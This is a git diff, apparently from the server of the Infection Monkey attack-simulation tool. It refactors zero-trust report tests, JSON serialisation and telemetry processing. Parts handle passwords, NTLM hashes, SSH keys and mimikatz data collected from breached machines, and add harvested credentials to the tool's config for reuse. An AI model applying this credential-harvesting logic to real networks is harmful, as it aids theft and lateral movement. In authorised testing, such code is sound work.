zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": zero_trust_consts.PRINCIPLES[zero_trust_consts.PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": zero_trust_consts.STATUS_UNEXECUTED, + "tests": [ + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP[zero_trust_consts.TEST_TUNNELING][ + zero_trust_consts.TEST_EXPLANATION_KEY] + } + ] + }, + ], + zero_trust_consts.WORKLOADS: [] +} + def save_example_findings(): # arrange - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, + []) # devices passed = 1 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_PASSED, + []) # devices passed = 2 + Finding.save_finding(zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, zero_trust_consts.STATUS_FAILED, + []) # devices failed = 1 # devices unexecuted = 1 # people verify = 1 # networks verify = 1 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) # people verify = 2 # networks verify = 2 - Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_SCHEDULED_EXECUTION, zero_trust_consts.STATUS_VERIFY, []) # data failed 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 3 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 4 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data failed 5 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_FAILED, []) # data verify 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) # data verify 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_VERIFY, []) # data passed 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) + Finding.save_finding(zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, zero_trust_consts.STATUS_PASSED, []) class TestZeroTrustService(IslandTestCase): @@ -44,59 +203,59 @@ class TestZeroTrustService(IslandTestCase): expected = [ { - STATUS_FAILED: 5, - STATUS_VERIFY: 2, - STATUS_PASSED: 1, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 5, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 1, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "Data" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 2, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "People" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 2, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 4, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 2, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 4, "pillar": "Networks" }, { - STATUS_FAILED: 1, - STATUS_VERIFY: 0, - STATUS_PASSED: 2, - STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_FAILED: 1, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 2, + zero_trust_consts.STATUS_UNEXECUTED: 1, "pillar": "Devices" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0, "pillar": "Workloads" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 3, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 3, "pillar": "Visibility & Analytics" }, { - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0, "pillar": "Automation & Orchestration" } ] result = ZeroTrustService.get_pillars_grades() - self.assertEquals(result, expected) + self.assertEqual(result, expected) def test_get_principles_status(self): self.fail_if_not_testing_env() @@ -106,151 +265,24 @@ class TestZeroTrustService(IslandTestCase): save_example_findings() - expected = { - AUTOMATION_ORCHESTRATION: [], - DATA: [ - { - "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], - "status": STATUS_FAILED, - "tests": [ - { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] - }, - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] - }, - ] - } - ], - DEVICES: [ - { - "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], - "status": STATUS_FAILED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] - }, - { - "status": STATUS_FAILED, - "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] - }, - ] - } - ], - NETWORKS: [ - { - "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], - "status": STATUS_VERIFY, - "tests": [ - { - "status": STATUS_VERIFY, - "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] - } - ] - }, - ], - PEOPLE: [ - { - "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], - "status": STATUS_VERIFY, - "tests": [ - { - "status": STATUS_VERIFY, - "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] - } - ] - } - ], - VISIBILITY_ANALYTICS: [ - { - "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] - } - ] - }, - { - "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], - "status": STATUS_UNEXECUTED, - "tests": [ - { - "status": STATUS_UNEXECUTED, - "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] - } - ] - }, - ], - WORKLOADS: [] - } + expected = dict(EXPECTED_DICT) # new mutable result = ZeroTrustService.get_principles_status() - self.assertEquals(result, expected) + # Compare expected and result, no order: + for pillar_name, pillar_principles_status_result in result.items(): + for index, pillar_principle_status_expected in enumerate(expected.get(pillar_name)): + correct_one = None + for pillar_principle_status_result in pillar_principles_status_result: + if pillar_principle_status_result["principle"] == pillar_principle_status_expected["principle"]: + correct_one = pillar_principle_status_result + break + + # Compare tests no order + self.assertTrue(compare_lists_no_order(correct_one["tests"], pillar_principle_status_expected["tests"])) + # Compare the rest + del pillar_principle_status_expected["tests"] + del correct_one["tests"] + self.assertEqual(sorted(correct_one), sorted(pillar_principle_status_expected)) def test_get_pillars_to_statuses(self): self.fail_if_not_testing_env() @@ -259,27 +291,37 @@ class TestZeroTrustService(IslandTestCase): self.maxDiff = None expected = { - AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, - DEVICES: STATUS_UNEXECUTED, - NETWORKS: STATUS_UNEXECUTED, - PEOPLE: STATUS_UNEXECUTED, - VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, - WORKLOADS: STATUS_UNEXECUTED, - DATA: STATUS_UNEXECUTED + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_UNEXECUTED } - self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) + self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) save_example_findings() expected = { - AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, - DEVICES: STATUS_FAILED, - NETWORKS: STATUS_VERIFY, - PEOPLE: STATUS_VERIFY, - VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, - WORKLOADS: STATUS_UNEXECUTED, - DATA: STATUS_FAILED + zero_trust_consts.AUTOMATION_ORCHESTRATION: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DEVICES: zero_trust_consts.STATUS_FAILED, + zero_trust_consts.NETWORKS: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.PEOPLE: zero_trust_consts.STATUS_VERIFY, + zero_trust_consts.VISIBILITY_ANALYTICS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.WORKLOADS: zero_trust_consts.STATUS_UNEXECUTED, + zero_trust_consts.DATA: zero_trust_consts.STATUS_FAILED } - self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) + self.assertEqual(ZeroTrustService.get_pillars_to_statuses(), expected) + + +def compare_lists_no_order(s, t): + t = list(t) # make a mutable copy + try: + for elem in s: + t.remove(elem) + except ValueError: + return False + return not t diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index f4b23f095..dd6fad1bc 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -1,5 +1,7 @@ import json -from common.data.zero_trust_consts import * + +import common.data.zero_trust_consts as zero_trust_consts + from monkey_island.cc.models.zero_trust.finding import Finding @@ -7,7 +9,7 @@ class ZeroTrustService(object): @staticmethod def get_pillars_grades(): pillars_grades = [] - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar)) return pillars_grades @@ -16,13 +18,13 @@ class ZeroTrustService(object): all_findings = Finding.objects() pillar_grade = { "pillar": pillar, - STATUS_FAILED: 0, - STATUS_VERIFY: 0, - STATUS_PASSED: 0, - STATUS_UNEXECUTED: 0 + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0 } - tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] test_unexecuted = {} for test in tests_of_this_pillar: @@ -30,11 +32,11 @@ class ZeroTrustService(object): for finding in all_findings: test_unexecuted[finding.test] = False - test_info = TESTS_MAP[finding.test] - if pillar in test_info[PILLARS_KEY]: + test_info = zero_trust_consts.TESTS_MAP[finding.test] + if pillar in test_info[zero_trust_consts.PILLARS_KEY]: pillar_grade[finding.status] += 1 - pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = sum(1 for condition in list(test_unexecuted.values()) if condition) return pillar_grade @@ -43,14 +45,14 @@ class ZeroTrustService(object): all_principles_statuses = {} # init with empty lists - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: all_principles_statuses[pillar] = [] - for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): - for pillar in PRINCIPLES_TO_PILLARS[principle]: + for principle, principle_tests in list(zero_trust_consts.PRINCIPLES_TO_TESTS.items()): + for pillar in zero_trust_consts.PRINCIPLES_TO_PILLARS[principle]: all_principles_statuses[pillar].append( { - "principle": PRINCIPLES[principle], + "principle": zero_trust_consts.PRINCIPLES[principle], "tests": ZeroTrustService.__get_tests_status(principle_tests), "status": ZeroTrustService.__get_principle_status(principle_tests) } @@ -60,13 +62,14 @@ class ZeroTrustService(object): @staticmethod def __get_principle_status(principle_tests): - worst_status = STATUS_UNEXECUTED + worst_status = zero_trust_consts.STATUS_UNEXECUTED all_statuses = set() for test in principle_tests: all_statuses |= set(Finding.objects(test=test).distinct("status")) for status in all_statuses: - if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index(status) \ + < zero_trust_consts.ORDERED_TEST_STATUSES.index(worst_status): worst_status = status return worst_status @@ -78,7 +81,7 @@ class ZeroTrustService(object): test_findings = Finding.objects(test=test) results.append( { - "test": TESTS_MAP[test][TEST_EXPLANATION_KEY], + "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) } ) @@ -91,9 +94,10 @@ class ZeroTrustService(object): :return: the "worst" (i.e. most severe) status out of the given findings. lcd stands for lowest common denominator. """ - current_worst_status = STATUS_UNEXECUTED + current_worst_status = zero_trust_consts.STATUS_UNEXECUTED for finding in all_findings_for_test: - if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status): + if zero_trust_consts.ORDERED_TEST_STATUSES.index(finding.status) \ + < zero_trust_consts.ORDERED_TEST_STATUSES.index(current_worst_status): current_worst_status = finding.status return current_worst_status @@ -106,11 +110,11 @@ class ZeroTrustService(object): @staticmethod def __get_enriched_finding(finding): - test_info = TESTS_MAP[finding.test] + test_info = zero_trust_consts.TESTS_MAP[finding.test] enriched_finding = { - "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], + "test": test_info[zero_trust_consts.FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], "test_key": finding.test, - "pillars": test_info[PILLARS_KEY], + "pillars": test_info[zero_trust_consts.PILLARS_KEY], "status": finding.status, "events": ZeroTrustService.__get_events_as_dict(finding.events) } @@ -123,12 +127,12 @@ class ZeroTrustService(object): @staticmethod def get_statuses_to_pillars(): results = { - STATUS_FAILED: [], - STATUS_VERIFY: [], - STATUS_PASSED: [], - STATUS_UNEXECUTED: [] + zero_trust_consts.STATUS_FAILED: [], + zero_trust_consts.STATUS_VERIFY: [], + zero_trust_consts.STATUS_PASSED: [], + zero_trust_consts.STATUS_UNEXECUTED: [] } - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) return results @@ -136,7 +140,7 @@ class ZeroTrustService(object): @staticmethod def get_pillars_to_statuses(): results = {} - for pillar in PILLARS: + for pillar in zero_trust_consts.PILLARS: results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) return results @@ -144,7 +148,7 @@ class ZeroTrustService(object): @staticmethod def __get_status_of_single_pillar(pillar): grade = ZeroTrustService.__get_pillar_grade(pillar) - for status in ORDERED_TEST_STATUSES: + for status in zero_trust_consts.ORDERED_TEST_STATUSES: if grade[status] > 0: return status - return STATUS_UNEXECUTED + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/representations.py b/monkey/monkey_island/cc/services/representations.py new file mode 100644 index 000000000..cd804db50 --- /dev/null +++ b/monkey/monkey_island/cc/services/representations.py @@ -0,0 +1,31 @@ +from datetime import datetime + +import bson +from bson.json_util import dumps +from flask import make_response + + +def normalize_obj(obj): + if ('_id' in obj) and ('id' not in obj): + obj['id'] = obj['_id'] + del obj['_id'] + + for key, value in list(obj.items()): + if isinstance(value, bson.objectid.ObjectId): + obj[key] = str(value) + if isinstance(value, datetime): + obj[key] = str(value) + if isinstance(value, dict): + obj[key] = normalize_obj(value) + if isinstance(value, list): + for i in range(0, len(value)): + if isinstance(value[i], dict): + value[i] = normalize_obj(value[i]) + return obj + + +def output_json(obj, code, headers=None): + obj = normalize_obj(obj) + resp = make_response(dumps(obj), code) + resp.headers.extend(headers or {}) + return resp diff --git a/monkey/monkey_island/cc/services/representations_test.py b/monkey/monkey_island/cc/services/representations_test.py new file mode 100644 index 000000000..d6c7f99d7 --- /dev/null +++ b/monkey/monkey_island/cc/services/representations_test.py @@ -0,0 +1,53 @@ +from unittest import TestCase +from datetime import datetime +from monkey_island.cc.services.representations import normalize_obj + +import bson + + +class TestJsonRepresentations(TestCase): + def test_normalize_obj(self): + # empty + self.assertEqual({}, normalize_obj({})) + + # no special content + self.assertEqual( + {"a": "a"}, + normalize_obj({"a": "a"}) + ) + + # _id field -> id field + self.assertEqual( + {"id": 12345}, + normalize_obj({"_id": 12345}) + ) + + # obj id field -> str + obj_id_str = "123456789012345678901234" + self.assertEqual( + {"id": obj_id_str}, + normalize_obj({"_id": bson.objectid.ObjectId(obj_id_str)}) + ) + + # datetime -> str + dt = datetime.now() + expected = {"a": str(dt)} + result = normalize_obj({"a": dt}) + self.assertEqual(expected, result) + + # dicts and lists + self.assertEqual({ + "a": [ + {"ba": obj_id_str, + "bb": obj_id_str} + ], + "b": {"id": obj_id_str} + }, + normalize_obj({ + "a": [ + {"ba": bson.objectid.ObjectId(obj_id_str), + "bb": bson.objectid.ObjectId(obj_id_str)} + ], + "b": {"_id": bson.objectid.ObjectId(obj_id_str)} + }) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py index d90143c09..e69de29bb 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py @@ -1,7 +0,0 @@ -# import all implemented hooks, for brevity of hooks.py file -from tunnel import process_tunnel_telemetry -from state import process_state_telemetry -from exploit import process_exploit_telemetry -from scan import process_scan_telemetry -from system_info import process_system_info_telemetry -from post_breach import process_post_breach_telemetry diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index cf6e9b544..9b25c97ef 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -55,4 +55,4 @@ def encrypt_exploit_creds(telemetry_json): for field in ['password', 'lm_hash', 'ntlm_hash']: credential = attempts[i][field] if len(credential) > 0: - attempts[i][field] = encryptor.enc(credential.encode('utf-8')) + attempts[i][field] = encryptor.enc(credential) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index c64849905..e6ac8734b 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,5 +1,5 @@ +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER from monkey_island.cc.database import mongo -from common.data.post_breach_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication @@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json): post_breach_action_name = telemetry_json["data"]["name"] if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) - diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 154096f79..0cc461249 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,6 +1,11 @@ import logging -from monkey_island.cc.services.telemetry.processing import * +from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry +from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry +from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry +from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry +from monkey_island.cc.services.telemetry.processing.system_info import process_system_info_telemetry +from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry logger = logging.getLogger(__name__) @@ -26,4 +31,4 @@ def process_telemetry(telemetry_json): else: logger.info('Got unknown type of telemetry: %s' % telem_category) except Exception as ex: - logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) + logger.error("Exception caught while processing telemetry. Info: {}".format(ex), exc_info=True) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 4e164e900..b7e341483 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -1,9 +1,14 @@ +import logging + from monkey_island.cc.models import Monkey from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ test_passed_findings_for_unreached_segments +logger = logging.getLogger(__name__) + + def process_state_telemetry(telemetry_json): monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) @@ -15,3 +20,6 @@ def process_state_telemetry(telemetry_json): if telemetry_json['data']['done']: current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) test_passed_findings_for_unreached_segments(current_monkey) + + if telemetry_json['data']['version']: + logger.info(f"monkey {telemetry_json['monkey_guid']} has version {telemetry_json['data']['version']}") diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py index 0af9a4315..75c806ea5 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -1,25 +1,23 @@ import logging -from monkey_island.cc.database import mongo -from monkey_island.cc.models import Monkey -from monkey_island.cc.services import mimikatz_utils -from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence -from monkey_island.cc.services.wmi_handler import WMIHandler from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services import mimikatz_utils +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ + SystemInfoTelemetryDispatcher +from monkey_island.cc.services.wmi_handler import WMIHandler logger = logging.getLogger(__name__) def process_system_info_telemetry(telemetry_json): + dispatcher = SystemInfoTelemetryDispatcher() telemetry_processing_stages = [ process_ssh_info, process_credential_info, process_mimikatz_and_wmi_info, - process_aws_data, - update_db_with_new_hostname, - test_antivirus_existence, + dispatcher.dispatch_collector_results_to_relevant_processors ] # Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of @@ -33,8 +31,9 @@ def safe_process_telemetry(processing_function, telemetry_json): try: processing_function(telemetry_json) except Exception as err: - logger.error("Error while in {} stage of processing telemetry.".format(processing_function.func_name), - exc_info=True) + logger.error( + "Error {} while in {} stage of processing telemetry.".format(str(err), processing_function.__name__), + exc_info=True) def process_ssh_info(telemetry_json): @@ -65,13 +64,12 @@ def encrypt_system_info_ssh_keys(ssh_info): for idx, user in enumerate(ssh_info): for field in ['public_key', 'private_key', 'known_hosts']: if ssh_info[idx][field]: - ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field]) def process_credential_info(telemetry_json): if 'credentials' in telemetry_json['data']: creds = telemetry_json['data']['credentials'] - encrypt_system_info_creds(creds) add_system_info_creds_to_config(creds) replace_user_dot_with_comma(creds) @@ -94,14 +92,6 @@ def add_system_info_creds_to_config(creds): ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) -def encrypt_system_info_creds(creds): - for user in creds: - for field in ['password', 'lm_hash', 'ntlm_hash']: - if field in creds[user]: - # this encoding is because we might run into passwords which are not pure ASCII - creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) - - def process_mimikatz_and_wmi_info(telemetry_json): users_secrets = {} if 'mimikatz' in telemetry_json['data']: @@ -112,14 +102,3 @@ def process_mimikatz_and_wmi_info(telemetry_json): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() - -def process_aws_data(telemetry_json): - if 'aws' in telemetry_json['data']: - if 'instance_id' in telemetry_json['data']['aws']: - monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') - mongo.db.monkey.update_one({'_id': monkey_id}, - {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) - - -def update_db_with_new_hostname(telemetry_json): - Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).set_hostname(telemetry_json['data']['hostname']) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py new file mode 100644 index 000000000..2b4d8085e --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py @@ -0,0 +1,15 @@ +import logging + +from monkey_island.cc.models.monkey import Monkey + +logger = logging.getLogger(__name__) + + +def process_aws_telemetry(collector_results, monkey_guid): + relevant_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) + + if "instance_id" in collector_results: + instance_id = collector_results["instance_id"] + relevant_monkey.aws_instance_id = instance_id + relevant_monkey.save() + logger.debug("Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py 